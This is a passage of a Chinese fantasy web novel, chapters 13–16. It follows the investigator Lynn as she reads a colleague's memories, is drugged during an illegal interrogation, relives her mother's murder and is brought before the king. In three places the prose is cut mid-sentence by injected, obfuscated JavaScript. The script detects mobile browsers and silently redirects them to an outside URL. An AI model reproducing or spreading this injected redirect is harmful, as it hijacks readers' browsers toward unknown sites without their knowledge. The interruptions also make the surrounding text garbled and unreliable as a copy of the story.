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“我刚说过了。非常时期会采取非常手段。”莱亚嘴角的笑意残忍又真实,“你作为审查官,应该再了解不过了。” “…为了碎金城的和平,牺牲西格林郡有什么要紧的呢。” 马车缓缓停在桔梗街593号门口。 两人一前一后走进这栋略显粗糙的赭红色小楼。 用一模一样的理由,林恩从门房朱莉亚夫人手里要到了崭新的房门钥匙。 同样地,朱莉亚夫人表达了遗憾,又顺手塞给林恩半篮桃子。 “这是特兰郡的亲戚种的。”她说,“拿去吃吧。” 林恩道谢过后,踩上吱嘎作响的木质楼梯,用新钥匙打开201室的大门。 许久没有人烟,屋子里有浓重的烟尘味。 林恩打开窗户,如当地人一样抱怨了几句糟糕的空气,又拿起喷壶往空气里洒了些水。 转过身时,莱亚竟已自来熟地抓起最饱满红润的桃子,放在水龙头底下冲洗。 察觉到林恩不善的目光,莱亚咧开嘴: “用一颗桃子换信徒情报,划算吧?” “……” 林恩挑眉,最终没有吭声。 她漫不经心地抓住篮子把手,微微挪动了点距离,刚好压住莱亚摘下的黑色手套—— 接下来,就是祈求莱亚粗心一些,把手套落在这里。 莱亚果然没注意到林恩的小动作。 他正在嘎吱嘎吱啃着桃子,一边含糊不清地问道: “你到底想知道些什么?” 林恩沉思片刻,“最重要的一个问题是——” 她看向莱亚,“我应不应该隐瞒我的信徒身份。” “你在询问我的意见吗?” 莱亚愣住,装腔作势的表情尚且在酝酿,就看见林恩点了点头。 “我很真诚地恳求你,就算是看在康纳利老师的面子上。” 莱亚已经太久没遇到如此直白的请求了。 在服役的漫长时光里,他总是接触到纠缠迷离的谎言,伴随着权力的勾心斗角。 莱亚本以为自己麻木的心脏不会被触动,但显然他错了。 他沉吟片刻,嘴角诡异地上扬: “我的建议是……” “隐瞒下去!” 13. 桔梗街(二) 林恩忽略掉莱亚脸上蠢蠢欲动的期待。 尽管接触不多,但她已经足以确定,莱亚有不少坏心眼。 “为什么?” 她需要一些理由。 莱亚垂下眼睑,让细密的睫毛遮盖住他的神色。 “很简单,国民卫队里藏着一个未注册的信徒,这已经是公开的消息了。” 他顿了顿,把桃核丢进垃圾桶,又抽出手帕抹了抹粘哒哒的指尖。 “…这个时候,你暴露自己的信徒身份,就相当于凭空顶了罪名。” 竟有这种事?! 林恩咬咬牙,只觉得一阵后怕。 “更何况,你没了康纳利庇护,国民卫队里的任何一个人想搞死你,那可是轻而易举的。” 莱亚凑近,从林恩的棕褐色眼睛里看出预料之内的惊慌与恐惧,这才满意地点点头。 他从黑色大衣中掏出怀表,拿食指蹭了几下发条。 “很想跟你聊下去,但我这会儿还有别的安排。” 莱亚抓住手杖,在空中挥舞了一下,眼睛里满是新奇的愉悦。 “回见咯,未注册的信徒。” 林恩趴在窗台上目视着莱亚走出小楼。 他拦下一辆出租马车,低头与车夫交谈了几句,又猛地转过身,朝窗口的林恩挥了挥手,这才弯腰钻进去。 好强的警戒心!不愧是军队出身! 林恩感慨道,一边光明正大地朝莱亚招了招手。 送走不速之客后,林恩在屋子里随意转悠了一圈。 这间房子并不大,客厅、餐厅与厨房拥挤地紧挨着,用狭窄的岛台作为隔断;卧室则挨着阳台,还有一个小小的卫生间。 “林恩”的客厅里还有一个书橱,可惜里头摆放的全都是与工作相关的书籍。 她似乎……完全没有写日记的习惯。 林恩遗憾地叹了口气,目光落在被篮子压了大半的黑色手套上。 感谢老天,尽管莱亚心眼颇多、为人也糟糕,但他却是个粗心鬼。 她深呼吸了几下,终于拿起莱亚的黑色手套。 林恩默念: 【我要窥探手套主人的记忆。】 一瞬间,无数琐碎的片段如玻璃珠滚落。 林恩试图捕捉,却只能捞到一些零散的、毫无规律的片段。 光是反刍这些片段,就足以让她反胃。 【停……停下来!】 在呓语彻底淹没理智之前,林恩顺利暂停了“记忆回溯”。 她喘着粗气,湿哒哒的面团般瘫倒在床榻上,泄愤似的把莱亚的手套丢在地板上。 太痛苦了。 林恩心想,这绝对不是普通人能够忍受的。 不过,收获也伴随着痛苦一道到来。 == 莱亚记忆的初始,是那根他随身携带的手杖。 胡桃木制成的结实手杖,用银色的合金在手把处做出精致的围边,顶端的木头削成六边形。 手杖本体的木棍经过仔细打磨,在灯光下散发出油亮的光泽。 “欢迎加入‘神学院’,信徒莱亚。” 苍老的声音像是被砂纸打磨,粗砺得有些刺耳。 莱亚的声音年轻且恭敬:“感谢女神。” “信徒莱亚,这里是八级神殿的位置。但在这之前,你必须要稳固你的能力。”年迈的声音递来羊皮地图,“越级的下场,你应当明白。” “我明白,威利斯先生。” 威利斯满意地笑了一声,随即发出剧烈的咳嗽声,“你的谎言辨识是个了不起的异能,我会安排你去辛迪·伊迪丝那里,她会重用你的。” 他的喉管里像是藏着个风箱。 “记住我们的目的,莱亚,记住我是拯救你的人。” 声音逐渐淡去,像是飘散在浓雾中。 紧接着降临的记忆,带着炽烈的色彩。 “该死该死该死!” 莱亚怒骂道,一边死死掐住对方的脖子,“你这该死的‘替身玩偶’,要不是你,我也绝不可能暴露!” “咳…咳咳……” 气若游丝的声音被挤压出细细的一条,“你快放下我,否则你就是我的下一个躯壳。” “该死的。” 面对明晃晃的威胁,莱亚却只能松开手,气急败坏地啐了一口。 “我们怎么逃出去?这外面全是火!” “看,‘寒冰者’来救我们了。” 话音未落,一束寒冰打在火焰上,冰火撞击的瞬间,无数水雾从地面上蒸腾而出,视野刹时模糊。 在视线受阻的一瞬间,“替身玩偶”的声音在莱亚耳侧幽幽响起: “你不会暴露,你的长官已经死了。” 莱亚的身子顿了顿。 那声音湿漉漉的,从近处的呢喃逐渐变成遥远的回声,“记得在国民卫队里掩护我,古德温中校。” == “嘭嘭嘭——” 林恩破碎的意识逐渐被一阵激烈的敲门声唤醒。 她瞬间回到现实。 “开门!交房租了!” 丹尼尔·鲍恩斯的大嗓门像弹球一样在狭窄的楼道里不断撞击,随后,如雨的抱怨倾泻而来。 林恩从床上爬起来,浑身被汗水浸湿。 ——倘若没有外界的噪声,她会被彻底困在莱亚的记忆里,无法主动挣脱。 看来下回得设置闹钟。 门板再一次被拍响。 “201,听见没有?” 房租…… 林恩四处翻找了一下,终于在床头柜里找到了一个白色信封。 “来了。” 她打开门,把这份名为“房租”的钱塞进房东鲍恩斯先生手里,一边蹙起眉,满脸不快。 “催什么,又不是不给。” 拿到了钱,鲍恩斯先生那张精明的窄脸上总算露出满意。 “哎呀,催总是要催一下的。” 他抽出纸币,当林恩的面一张一张数清楚。 对面的房门也“吱嘎”一下打开。 鲍恩斯先生头也没抬,“嘉伯小姐,你的房租。” 白琳·嘉伯手里拿着五张纸钞,一把塞进鲍恩斯手里。 她的头发乱蓬蓬的,睡眼惺忪地反披着薄荷绿色丝绸睡袍,显然上一秒还处于昏睡当中。 “下次别这么早,否则我要拖欠房租了。” 她气势汹汹地警告着,一边斜睨了眼林恩。 “诶,你——?” 白琳的褐金色眼珠里闪过一丝诧异,“你回来了啊。” “是的,刚回来。” 林恩礼貌地抿唇笑了下。 她压根儿不清楚自己和邻居的关系,不敢冒然热情。 看来,她非得要尽快挖掘自己的记忆了。 林恩咬咬嘴唇,就听见鲍恩斯先生的声音,“清点好了,你多给了10金塔拉,喏。” 他数了十枚硬币递了过来。 白琳倚在门框上,嬉笑着骂道:“人家给你纸币,你还回来硬币,这算什么啊!” 鲍恩斯撇嘴,“这是为了让亨特小姐好花出去,你可别曲解我的心思。” 两人一来一回地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207211|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 争执时,门房的气动管道忽然发出轰响。 “就算是死人也会被吓活过来。”白琳骂道,“鲍恩斯先生,你得修理一下气动管道了。” “这栋楼除了你之外,还有别人收到急信吗?”鲍恩斯翻了个白眼,“我不多收你房租就不错了。” 朱莉亚夫人捧着金属筒小跑着上楼。 “亨特小姐,这是寄给你的邮件。”她说道。 “我?” 林恩指了指自己,颇有些意外,却还是接了过去。“谢谢您了。” 这东西沉甸甸的,轻轻晃动时,能听见里头窸窸窣窣的声音。 但林恩并不清楚怎么拆开这只金属筒。 白琳趿拉着拖鞋走出来,抱胸站在林恩旁边,分明是习惯了这么近的距离。 “你动作太慢了,我来拆吧。” 她嘟囔着,一把抢过金属筒,转动了几下机械装置,筒盖应声打开。 里面是一张纸条。 【林恩·亨特审查官: 请速至国民卫队。 阿曼达·德·波尔】 纸卷上写着这一行字。 落款是首席审查官龙飞凤舞的签名。 “你现在就走?”白琳双手叉腰,“好歹吃点东西再出门吧。” 她拍拍脑袋,转身进屋,抓了三明治放在林恩手心。 她的手冰凉且潮湿,像是触摸到秋日里的露水。 林恩道了谢,怀揣着十枚硬币叮叮当当地走下楼。 “你们日子真够辛苦的。”鲍恩斯先生感慨道,一边摸了摸自己中年发福的肚子。 白琳的视线黏着在林恩身上,心不在焉地回道:“那你也不给我们降降房租。” “这话说的,我已经给你很优惠啦,嘉伯小姐。”守财奴鲍恩斯先生断然拒绝,眼珠滴溜转了一圈,故意岔开话题, “嘉伯小姐,您今日不用上班吗?” 上班? 白琳眼睛一亮,立刻冲回房间,“是的,我还得上班!” == 林恩坐在路边,慢吞吞啃完了白琳给的三明治。 里面夹着鸡蛋与火腿,冰凉的口感顺着食道滑落,黑胡椒里有微弱的辛辣感。 今天早晨虽然疲惫,但收获也不小。 第一,她获知了“信徒”跃升的方法:在对应等级的女神神殿进行“祈祷”。 甚至,林恩还得到了其中一个八级神庙的位置信息。 第二,国民卫队的确藏着一个未注册的“信徒”,异能为“替身玩偶”。 不过“替身玩偶”潜藏的目的仍然是未知的。 不管怎么说,这些事情都与她无关,林恩只希望自己远离这些事端。 她低头看了几眼焦褐色的面包片,又把最后一口吃光。 随后,林恩拦下一辆出租马车。 “去国民卫队,先生。”林恩想了想,又忽然改了主意,“那附近有家咖啡馆,你清楚吗?” 头戴硬质圆礼帽的车夫摇摇头。 “总之,你在距离一个街道的地方停下吧。”林恩说,“我可能会睡着,麻烦你到时候把我喊醒。” 车夫点点头,“没问题,小姐。” 干这行的偶尔会遇到有各种各样需求的客人,他也已经习惯了。 林恩坐上马车。 窗外风景变换,沿途的建筑物像是张着黑洞洞的嘴巴,将要把她吞噬进去。 林恩的忐忑逐渐转变成一种下定决心的决绝,并用右手攥住左手的手腕。 【我要窥探“林恩”的记忆。】 她在心中默念。 14. 地下二层 “客人…客人!” 林恩是被车夫晃醒的。 他明显很惊慌,几乎在拿看死人的目光看着林恩,生怕她在自己的马车里殒命。 “抱歉。” 林恩恢复了神智,沙哑着嗓子开口,“能拜托您帮我在咖啡厅买一杯咖啡吗?” 说着,她把两枚金塔拉递了过去。 看在钱的份上,车夫犹豫再三,终究是照做了。 目送车夫离开后,林恩闭起双目,仍旧沉浸在回忆中,却也分明感觉到自己的灵魂轻轻飘起。 记忆和她之间,相互融合又相互排斥,像被疯狂摇晃过的油醋汁。 不过现在不是回顾每一件事的时候。 她重又睁开眼,视线透过玻璃看向熙熙攘攘的大街,以及站在吧台边排队的车夫。 一个晃神,目光又对焦在玻璃上。 她的面孔也倒映其中,面色苍白如纸,双目也如死鱼般灰扑扑的凹陷,像是在地狱里走过一遭似的。 真糟糕啊,这副模样。 林恩蹒跚着爬下车,从车夫手中接过咖啡杯,一股脑儿地灌进喉咙。 不过,用来提神的咖啡对精神受损毫无帮助。 在获得记忆之后,林恩很清楚自己现在需要的是“安神药水”,一种由金盏花、洋甘菊与蛛网花按比例配置的药水。 ——国民卫队医疗室里,通常会有少量储备。 “小姐上车吧,我送你去国民卫队。”车夫接过空咖啡杯,着实有些担忧。 她看上去如纸片一般轻飘飘的,似乎随时会一头栽在地上。 多亏了好心的车夫,否则林恩完全无法走进国民卫队。 她付了车费,又多添了点小费,这才慢吞吞地往里走。 “审查官林恩?” 一个声音绊住林恩虚浮的步伐。 面前站着的,是一向与康纳利审查官不对付的蒙德里安,银灰色的头发底下是一对黑得发亮的、猫头鹰般的眼珠。 “审查官蒙德里安,早上好。” 林恩打了声招呼。 蒙德里安审查官扫了她一眼,粗厚的嘴唇鸟喙般地张开: “首席审查官吩咐我把你带下去,你跟我来吧。” 林恩站定,丝毫未动。 “那我也得先见到首席审查官才行。” “连我的话都听不进了吗?” 蒙德里安皱起眉,用震耳欲聋的声音呵斥道,一边甩了几个眼神出去。 林恩察觉到他的不善,面色一变,立马后撤—— 可惜已经迟了! 不知从何处冲过来几个彪形大汉,直接把她摁倒。 “带去审讯室。”蒙德里安审查官下达命令,嫌恶的目光落在林恩身上,又用手帕擦了擦手。 浑身都没有力气。 林恩使劲挣扎了几下,却仍旧无法挣脱几人的束缚。 该死的! 林恩怎么都想不到,蒙德里安审查官竟敢公然在国民卫队对她下手。 ——看来他真的恨透了康纳利审查官,甚至要赶尽杀绝。 一边思考,她一边被押送着走入国民卫队高塔。 这栋黑漆漆的高耸建筑,总算展露出狰狞面目,吞食掉狂妄又鲁莽的林恩。 == 走廊尽头的楼梯间往下走半层,再乘坐手摇绞盘升降机,最终到达地下二层。 光线暗透了,瓦斯灯每隔三米才有一盏,亮度也极低。 仿佛在这种地方,没有光明的必要。 林恩嗅了嗅空气中潮湿腐败的臭气,又依稀闻到一丝血腥味。 “快走。” 蒙德里安审查官用皮靴踢了她一脚。 “我不是犯人。”林恩回过头,恶狠狠地瞪了回去,“你胆敢对审查官动用私刑!” “你是不是犯人,你说了不算。”蒙德里安轻蔑地撇嘴。 “而且,你以为这件事没经过首席的应允?” 他嗓音尖细如蛇,滑溜溜地缠绕在林恩身上。 她不自觉地发了抖,身体也像失去控制似的瘫软无力。 这样下去……她真的会死! 蒙德里安审查官完全不讲道理,他只想要利用权力把她杀死。 林恩咬紧后槽牙,却发觉自己毫无攻击力。 她被一把推进铁椅,随后,粗重生锈的铁链锁住她的手脚。 林恩抬了抬手,铁链撞击桌面,发出巨大刺耳的噪音。 审讯室内的灯被点亮,映在蒙德里安审查官的左半张脸上,照亮了全部沟壑。 猿人般高耸的眉骨落下深邃的阴影,那双邪佞的眸子安然躲藏在阴影里。 “审查官林恩·亨特。” 蒙德里安开口的瞬间,打字机的“咔哒咔哒”声也同时出现。 林恩这才注意到,房间角落里还坐了位记录员。 大概也是蒙德里安的人。 “经调查,国民卫队内藏匿一名未注册的信徒,为搜寻此人,现我奉命对你进行审讯。” 蒙德里安的咬字是一字一顿的,气息的卡顿让林恩有些窒息感,仿佛下一秒就喘不上气了。 “欲加之罪,何患无辞。”林恩也学着蒙德里安的腔调,一字一句地讲了出来。 她的目光落在记录员身上,随后又笑了, “在见到首席审查官之前,我不会再说一句话。” 记录员停顿了一下,抬眼朝审讯桌望过去,又噼里啪啦地打了下来。 发出的声音就像是不大不小的雨声,莫名让林恩安心起来。 蒙德里安审查官气得面色铁青,几乎下一秒就要晕倒。 他从没见过如林恩这样的死猪不怕开水烫的年轻人。 “不愧是康纳利的学生。”他冷笑,又朝几名守卫点头示意。 巨大的黄铜筒被推了进来,滚轮摩擦着水泥地面,发出刺耳的吱嘎鸣叫,让林恩毛骨悚然。 她忍不住攥紧双拳。 下一秒,一个巨大的铜制面罩就捂上了她的面颊。 温热的灰色蒸汽带着苦涩的药味,顺着玻璃管喷入面罩内,如蛛丝般裹紧林恩的整张脸。 她剧烈地咳嗽起来! 洗脑药雾的味道。 包括蒙德里安在内的许多审查官喜欢使用洗脑药雾来审讯犯人。 这是一种混合着茄柄草、桂绿脑等植物的药水,还加入了部分虫蜕,闻上去像是臭虫与腐烂的蘑菇一同被打碎的味道。 但它的效果也是惊人的:可以攻击精神薄弱的犯人,让他们吐露心声。 精神攻击。 林恩迷迷糊糊地想着,一边坚信自己一定能挺过去。 ——连两个异种生物都不能奈何她,更何况这支药水呢! 只不过…… “呕——” 气味太过难闻,以至于林恩冲着面罩一顿反胃。 守卫立刻放开面罩,只见林恩跪在地上,把深褐色的咖啡液、在胃里消化一半的三明治全都吐了出来。 食物发酵的酸臭味弥漫开来。 “该死的家伙。” 蒙德里安捂住鼻子,又挥了挥手。 “把她单独关起来,不要中断洗脑药雾。” == 在药物的作用下,林恩仿佛陷入了漫长到疲乏的梦境里。 “林恩、林恩……” 这个声音轻缓却不温柔,伴随着淅淅沥沥的水声一同到来。 “你出生在溪流旁边,那就叫林恩(Lynn)吧*。” 林恩意识到,这是属于“她”的记忆。 遥远的、来自出生那一刹那的记忆,声音来自于“她”的母亲。 回忆就像走马灯,一桩一桩在眼前重现。 “林恩,你躲在这里不要出声。” 母亲脸上全是水迹。 夏季暴雨之后,林恩分不清这是雨水、汗水还是泪。 她被塞进狭窄的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215562|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣橱里,用厚厚的冬被压住。 “林恩”热得满脸通红,忍不住推开些缝隙透气,却刚好看到一个黑袍男人闯了进来。 他腰间是一柄沉重的铁剑,随着动作摆动不止。 “玛利亚小姐,好久不见。” 黑袍者慢悠悠开口,声音似乎吞食过烟雾,变得沙哑而粗糙。 “来吧,把你偷窃的宝物还回来。” “我没有偷窃。” “撒谎!”黑袍者哈哈大笑,“你瞒不过去的,玛利亚,‘回溯’信徒已经看到了。” “撒谎的是信徒。”母亲沉着地回应着,一边警告对方,“你如果再不离开,我就要呼叫治安员了。” “治安员……”黑袍者又笑起来,“我来自国民卫队,你猜他们会听谁的?” 他的掌心摩挲着剑柄,随后“铮”一声抽出长剑。 “林恩”捂住嘴,紧紧盯着那支满是血锈的长剑。 她浑身都在发颤。 无论是“林恩”还是母亲,都已经预料到了结局。 黑袍者的长剑直指母亲玛利亚,皮靴撞击在地面上,发出如出一辙的金属音。 他冷酷的眼珠里淬满了愤恨。 “你该死,玛利亚。” 长剑出鞘,血光四溅。 母亲捂着脖子倒地,水流声从她的喉咙里冒出来,止不住的血沫喷洒在她的衣领。 “我……不……” 最后,只剩下咕嘟咕嘟的溺水声。 不! 记忆直接将林恩推了出去。 她无法继续回忆那一日的细节,大脑完全麻痹,魂魄也脱离了身体。 那日过后,“林恩”随父亲搬来碎金城。 父亲是个健硕的男人,在库兹矿产公司付出了近十年的辛苦劳作,终于患上严重的肺烟尘病。 他每周的薪水是60银舌尔,而看病需要花掉85银舌尔。 “我不打算看病了,林恩。”父亲点燃一根烟,用他即将罢工的肺最后享受一次。 “我还有些存款,你留着用吧。” “为什么不看病?” “林恩”把叮铃哐啷的铁盒丢到一边,“我还没成年,你想让我再失去你吗?” “呵。” 父亲用力地咳嗽了几声,眼眸中明显带着眷恋与遗憾。 “我接下来说的话,你要认真听。” “林恩”挑眉。 “不要报名国民卫队,林恩。” 他把点燃的香烟丢进水池里,又转身从抽屉里掏出一枚徽章,塞在“林恩”手里。 “这就是我的理由。” 黄金制成的徽章,放在手心沉甸甸的。 “林恩”轻而易举地识别出上面的花纹,分别为玫瑰与荆棘、金狮、铁甲骑士和巨龙。 这是王室的印记。 死寂之中,父亲缓缓开口: “我曾服役于国民卫队,是国王的黑手套,专门做那些肮脏的事情。” “我杀死了很多人……甚至包括王室成员。”烟雾呛进喉咙,他猛地咳嗽几声。 “林恩”不可思议地望着父亲。 他灰败的面孔中露出难看的笑,嘴角像是被撕扯开,“我只是王室的走狗……杀死你母亲的审查官一样也是。” 一边说着,父亲又咳了几下,吐出一口血痰。 “如果可以,我真希望我是个正直的审查官。” “林恩”咬了咬嘴唇。 “不过,我没办法左右你的想法。”父亲叹了口气,一种更深的绝望泛了上来。“如果你执意想要进入国民卫队,那就拿上这封信和这枚勋章,去敲康纳利审查官的大门吧。” “…康纳利审查官是我的旧友,他会帮助你的。” 他擦拭了一下嘴角,目光眷恋地盯着女儿。 “而我,很快就要与你母亲重聚了。” == “林恩……” “林恩!” 15. 国王召见 谁在喊我? 林恩浑浑噩噩地思考着,试图睁开眼睛,眼皮却完全无法用力。 她的肌肉像是化开的黄油,被包裹在薄薄的皮肤里。 “注射一针强力药剂。” 阿曼达审查官的冷冽嗓音笼罩下来,充斥着冰冷的愤怒。 ——她未曾想过,蒙德里安假借她的名义,对另一审查官动用私刑。 这是绝对无法容忍的! 但他来头太大了。 蒙德里安所属的威灵顿家族是皇家船舶公司不可或缺的力量,国王绝不会为了这些小事而惹怒威灵顿家族。 阿曼达无法直接处罚蒙德里安,她必须忍气吞声。 粗针扎入林恩胳膊,冰凉的药水顺着肌肉的纹理流淌进身体。 几分钟后,林恩颤动了几下眼皮,终于睁开了眼睛。 “感觉如何?”阿曼达急迫地询问道,随后吩咐医务官替她检查身体。 好在,林恩只是虚弱疲惫了些,并没有什么大碍。 她很快就能自己站起来,甚至意识到自己的饥肠辘辘。 “好了,赶紧换一下衣服。” 阿曼达单手把她提起来,拼命催促着,“国王要召见你,你必须抓紧。” 林恩一惊,身体猛然后缩:“为什么会召见我?” 阿曼达耸肩,“我也不清楚,谁知道你有什么过人之处呢!” 即使有再多不愿,但也正多亏了国王的召令,林恩的行踪才会被关注,她也就顺理成章地得到阿曼达地救援。 如此环环相扣的情节,让林恩不禁感叹自己的人生就像是被幸运女神庇佑。 她立刻返回更衣室,换了身崭新的审查官制服,左胸佩戴上她唯一一块军功章: 这是她毕业时获得的冠军勋章。 不过—— “首席审查官,您这里有吃的吗?”林恩踩着楼梯下来,皮靴被她踏出踢踏舞的声响。 “我早晨吃的那么点东西,都在审讯室吐光了,现在快饿晕了!” 她故意把事实说的很夸张。 阿曼达看鬼魅一样盯着林恩,欲言又止了几回,总算是开口了: “你的意思是,国王在等你,但你要现在吃饭?” 被曲解的林恩立刻住了嘴。 听上去她像是个刺头,这并非她的本意。 但好心的阿曼达审查官最终还是给了她两片白面包,上面涂抹了有盐黄油,带上点咸味。 林恩潦草地解决了餐食,被噎得直梗脖子。她下定决心,今天一定得犒劳自己,吃顿像样的饭菜。 == 首席审查官的车架是林恩从没见过的样式。 车架上覆盖一层桃花心木的饰板,亮涔涔地倒映着探头探脑的林恩。 她的倒影同样出现在车框的镀金包边与亮晶晶的水晶壁饰上,一同没见识地左顾右盼。 “面见国王时,要记得使用尊称。” 阿曼达伸手帮林恩整了整衣领的翘边,又叮嘱道,“说话之前先思考,知道吗?” 林恩点头。 “也不知道国王为什么忽然要召见你。”阿曼达疑窦未消,上下打量着林恩,试图从那张纯真到有些愚蠢的脸上挖掘过人之处。 “或许你很有潜力,是王国的可塑之才。” 她咕哝着,打心眼里不相信这句话。 林恩蜷缩在深褐色山羊皮座椅上,重重地叹息一声,又回望着阿曼达。 “首席,白狼号彻底损毁了吗?” “我以为你不会问的。”阿曼达摘下单片眼镜,金色细链绳在她制服领口颤巍巍地摇晃。 “驾驶员尽最大的努力挽救了白狼号,但我想,我们放弃它其实是最好的选择。” “为什么?” “特拉尔湖太远,并不值得劳民伤财地修理与运送燃料。”阿曼达解释道,“不过,如果国王希望白狼号回来,那花点钱也没什么。” “康纳利审查官和查理审查官还在飞艇上。” 尽管阿曼达没问,但林恩还是自作主张地阐述了理由。 阿曼达挑眉,盯着面前这个年轻得过分的审查官。 阳光穿过黑檀木百叶窗,在她的面孔中透射下一道道光斑。光影变幻里,她的容貌也模糊不清了。 “他们……大概沉在湖底了。” 阿曼达说着,又垂眸看手中的文件,“驾驶员将非必要的舱体进行剥离,我想,他们的尸体应该并不在主要舱体中。” “好吧。”林恩抿唇,又撇开脸,望向窗外。 “你似乎没那么伤心。”阿曼达沉声评价道,探究的目光未曾离开林恩。 是试探,也是疑问。 阿曼达并不是审查官出身,她从未经历过这般的生离死别,因此只能用虚幻的猜想揣度林恩的心情。 林恩的嗓音如雾一般飘出。 “自我决定成为审查官的那一天起,我就明白,这一天迟早会到来。” 她瞥了眼阿曼达,又自嘲地勾起唇角,“或许,我在期待我牺牲的那一天,能与老师、与查理重逢的那一天。” “太悲观了,孩子。”阿曼达说,“我反而觉得你会长命百岁。” 林恩哑然失笑。 马车顺着花神广场的环岛转弯,穿过月桂大门进入中央大区。 林恩向下拨开百叶帘,从狭窄的缝隙中观察这座城市。 中央大区是碎金城的核心区,在城市扩张之前就已建设完成,因而建筑风格古典且庄严。 “这附近有一家不错的餐厅。”阿曼达抬头瞥了一眼窗外,随口说道,“主营海鲜,但葡萄酒的味道也很好。” “应该很昂贵吧?”林恩挠了挠下巴,“我吃的起吗?” 阿曼达张了张口,却报不出具体的价格—— 结账这样的事情,总是由管家或侍女来完成。 “那看来很贵了。” 林恩叹了口气,“不过中央大区我也很少来,吃不到也不要紧。” 谈到这里,她眯眼笑起来,“如果首席您来洋湾区,我倒是有很多餐厅可以推荐。” “你住在洋湾区?” “是的,那里房租比较便宜,上班也近。”林恩掰着手指算,“乘坐公共马车只需要四十分钟,但会比住在国民卫队附近节约三分之二呢!” 阿曼达“嗯”了一声,在心中排除了林恩“替身玩偶”的嫌疑。 据情报部的消息,信徒使用“替身玩偶”之后,无法拥有新□□的记忆——这一点与林恩的表现并不一致。 她对于过去的记忆了如指掌。 阿曼达的车架顺着维克托大道径直驶入金蔷薇宫。 林恩侧头看了眼铁甲侍卫。 尽管不认识林恩,他却认识王国重臣阿曼达·德·波尔。 侍卫扶了下沉重的盔甲帽,朝首席审查官行了个礼,灰蓝色的眼珠瞥向林恩,又点头示意。 “您认识他?”林恩悄声问。 “我经常来金蔷薇宫。” 阿曼达说,又回头看向日光下热气腾腾的侍卫。 他是波尔家族的私生子,这将永远是个秘密。 马车停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233808|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在后门,随后拐入停车场。 林恩跟随阿曼达审查官的脚步,踏入这座恢弘的皇家宫殿。 == 皇宫的空气里都带有奢靡的芬芳。 阿曼达的皮靴踏在深红色地毯上,发出如落叶一般的沙沙声响。 拐过一尊大理石雕塑后,她往左手边望了一眼,又疑惑地朝女官走过去。 “蒂娜内务官,您是来迎接我们的吗?” 名为蒂娜的女官点头,“随我来吧,国王在玻璃花房。” 她转身领着二人穿过连廊,一边小声提醒,“这是私下的下午茶,你们不必太拘谨。” 就连林恩都听得出来,这是隐晦的提点: 国王心情不错,商讨的大概率也不是公事。 这也就更奇怪了。 林恩悄悄掀开眼皮,却只看到蒂娜内务官圆滚滚的脑袋上梳得一丝不苟的黑色发髻。 严肃、古板、冷峻。 林恩忽然有了点邪念: 蒂娜内务官会知道国王有个私生子吗? 道路尽头是一扇玻璃门。 蒂娜拿指节轻敲两下,随后猛地一下推开。 这座水晶宫殿一般的温室花园里,一下子喷涌出馥郁的花香。 满目都是丛林般的绿意,夹杂着大片玫瑰与丁香,热烈地陈列在眼前。 “国王就在圆亭内。”蒂娜说道,躬身避让出通道。 林恩深呼吸一口气,又感激此刻还有阿曼达审查官陪伴自己。 她迈着僵硬的步子,顺着鹅卵石道往前走去。 人群围簇中,国王着丁香色便服端坐,手边的花边瓷杯中是温热的玫瑰果茶。 “阿曼达来了啊,来,坐下吧。” ——等等。 闻声,林恩愣住。 她微微抬眼,只见王座之中,赫然坐着位三十余岁的年轻女人! 她是国王? 林恩咬了咬嘴唇,责怪自己刻板印象。 没人告诉过她,国王一定是个中老年男人不是吗? ——等等。 事实上,有人暗示过。 艾迪·穆德自己声称是“国王”的儿子,因此林恩自然推测“国王”不会太年轻。 但眼前的三十岁女人,绝不可能生出二十多岁的艾迪。 那艾迪的父亲究竟是谁? 他到底还有多少不为人知的秘密? 林恩垂头慌乱地思索着,却被阿曼达拽了一把。 “这就是审查官林恩·亨特吧?” 国王眯起眼,侧头看了眼身后。 “白琳,这就是你描述的那位审查官吗?” 白琳? 林恩更是震惊,这才注意到国王身后的黑衣内务官。 这副严肃古板的打扮,与蒂娜内务官的风格如出一辙,和林恩记忆里那位光鲜亮丽的邻居截然不同。 白琳·嘉伯竟然替国王卖命? “黑剑直指处,黑发乌眸人……” 白琳压低了嗓子,复述一遍早先的“预言”。 她目光扩散在空气里,声音也如无足虫般飘散。 林恩与阿曼达同时注意到,白琳手上拿着根玫瑰木短杖。 她是信徒?! 两人均是诧异,却各怀鬼胎,短暂对视一眼后又迅速挪开。 “……她将斩断缠绕的阴霾,带走过去、带走未来。” 白琳的眼神重新聚焦,将“预言”一字一句吐出来。 林恩的冷汗一下子冒了出来。 白琳到底在胡说八道什么啊! 16. 拯救者白琳 